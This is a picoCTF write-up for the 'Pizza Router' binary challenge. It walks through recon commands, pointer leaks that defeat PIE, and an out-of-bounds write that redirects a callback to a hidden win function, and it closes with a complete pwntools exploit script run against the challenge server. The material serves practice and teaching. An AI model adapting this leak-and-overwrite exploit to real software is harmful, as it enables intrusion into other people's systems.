picoCTF - Binary Exploitation

Pizza Router Writeup

picoCTF Pizza Router writeup exploiting a routing application through buffer overflow or command injection to capture the flag.

Contents

Pizza Router Writeup

Here is the exact writeup of how I solved it, step by step, including the tools I used.

Files and tools used

  • Files: router, city1.map, city2.map, city3.map
  • Tools:
  • file
  • checksec
  • strings
  • nm
  • objdump
  • python3
  • pwntools
  • nc

1) Recon the binary

file router
checksec --file=router
strings -n 4 router | rg "help|add_order|reroute|replay|receipt|dispatch"
nm -n router

Findings:

  • PIE enabled
  • hidden win at offset 0x2460
  • command surface includes leaks + mutation operations

2) Identify useful leaks and bug

From reversing behavior:

  • replay <id> leaks callback pointer: renderer=%p (PIE leak)
  • receipt <id> leaks state pointer: hint=%p (heap leak)
  • reroute <id> <heap_idx> <new_cost> has out-of-bounds index behavior

3) Exploit plan

  1. Create order.
  2. Leak renderer pointer and compute PIE base.
  3. Leak state pointer.
  4. Use OOB writes to redirect callback to win().
  5. Trigger callback via dispatch.

4) Key offsets used

  • base = renderer - 0x2260
  • win = base + 0x2460
  • write base in state: state + 0x18
  • callback target: state + 0x438
  • callback index: (0x438 - 0x18)/8 = 132

5) Working exploit script

from pwn import *
import re

HOST='mysterious-sea.picoctf.net'
PORT=65154

def i32(x):
    x &= 0xffffffff
    return x if x < 0x80000000 else x-0x100000000

io = remote(HOST, PORT)
io.recvuntil(b'router> ')

def cmd(s):
    io.sendline(s)
    return io.recvuntil(b'router> ', drop=True)

out = cmd(b'add_order 1 1')
oid = int(re.search(rb'order #(\d+)', out).group(1))

rep = cmd(f'replay {oid}'.encode())
renderer = int(re.search(rb'renderer=(0x[0-9a-fA-F]+)', rep).group(1),16)
base = renderer - 0x2260
win = base + 0x2460

rcpt = cmd(f'receipt {oid}'.encode())
state = int(re.search(rb'hint=(0x[0-9a-fA-F]+)', rcpt).group(1),16)

heap_base = state + 0x18
ord0 = base + 0x5080
idx_to_ord0 = (ord0 - heap_base)//8

x_over = ((win & 0xffffffff) - 16) & 0xffffffff
cmd(f'reroute {oid} {idx_to_ord0} {i32(x_over)}'.encode())
cmd(f'reroute 17 132 {i32((win>>32)&0xffffffff)}'.encode())

out = cmd(b'dispatch 17')
print(out.decode('latin-1','replace'))

6) Result

The challenge instance returned:

  • flag{<redacted>}

Note: this instance returned flag{<redacted>} format (not picoCTF{<redacted>}).